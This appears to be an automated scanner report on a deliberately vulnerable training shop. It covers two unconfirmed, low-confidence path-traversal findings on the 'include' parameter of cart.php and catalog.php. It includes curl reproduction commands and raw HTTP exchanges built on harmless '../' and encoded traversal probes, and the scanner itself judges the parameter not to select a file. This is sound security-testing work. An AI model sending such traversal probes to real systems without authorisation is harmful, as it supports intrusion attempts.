location: GET https://sekumart.sekuripy.hr/cart.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1
input: include in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

include reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

include looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/cart.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/cart.php?template=1&include=skshdcdnc/../1&download=1&format=1&mode=1&state=1&code=1&session=1'

GET /cart.php?template=1&include=skshdcdnc/../1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/cart.php?template=1&include=1&download=1&format=1&mode=1…

request

GET /cart.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:34 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/cart.php?template=1&include=1&download=1&format=1&mode=1…

request

GET /cart.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:34 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

normalised HTTP 200 https://sekumart.sekuripy.hr/cart.php?template=1&include=skshdcdnc/../1&download=1&format=…

request

GET /cart.php?template=1&include=skshdcdnc/../1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:34 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

double_encoded HTTP 200 https://sekumart.sekuripy.hr/cart.php?template=1&include=skshdcdnc/%2e%2e/1&download=1…

request

GET /cart.php?template=1&include=skshdcdnc/%2e%2e/1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:34 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

control HTTP 200 https://sekumart.sekuripy.hr/cart.php?template=1&include=skshdcdnc/1&download=1&format=1…

request

GET /cart.php?template=1&include=skshdcdnc/1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:34 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

listing HTTP 200 https://sekumart.sekuripy.hr/cart.php?template=1&include=&download=1&format=1&mode=1…

request

GET /cart.php?template=1&include=&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:34 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/catalog.php query string · include unconfirmed · low confidence BV-034 info

location: GET https://sekumart.sekuripy.hr/catalog.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1
input: include in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

include reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

include looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/catalog.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/catalog.php?template=1&include=skshdcdnc/../1&download=1&format=1&mode=1&state=1&code=1&session=1'

GET /catalog.php?template=1&include=skshdcdnc/../1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/catalog.php?template=1&include=1&download=1&format=1&mode=1…

request

GET /catalog.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:35 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/catalog.php?template=1&include=1&download=1&format=1&mode=1…

request

GET /catalog.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:35 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

normalised HTTP 200 https://sekumart.sekuripy.hr/catalog.php?template=1&include=skshdcdnc/../1&download=1…

request

GET /catalog.php?template=1&include=skshdcdnc/../1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:35 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

double_encoded HTTP 200 https://sekumart.sekuripy.hr/catalog.php?template=1&include=skshdcdnc/%2e%2e/1&download=1…

request

GET /catalog.php?template=1&include=skshdcdnc/%2e%2e/1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:35 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

control HTTP 200 https://sekumart.sekuripy.hr/catalog.php?template=1&include=skshdcdnc/1&download=1&format=…

request

GET /catalog.php?template=1&include=skshdcdnc/1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:35 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

listing HTTP 200 https://sekumart.sekuripy.hr/catalog.php?template=1&include=&download=1&format=1&mode=1…

request

GET /catalog.php?template=1&include=&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:36 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

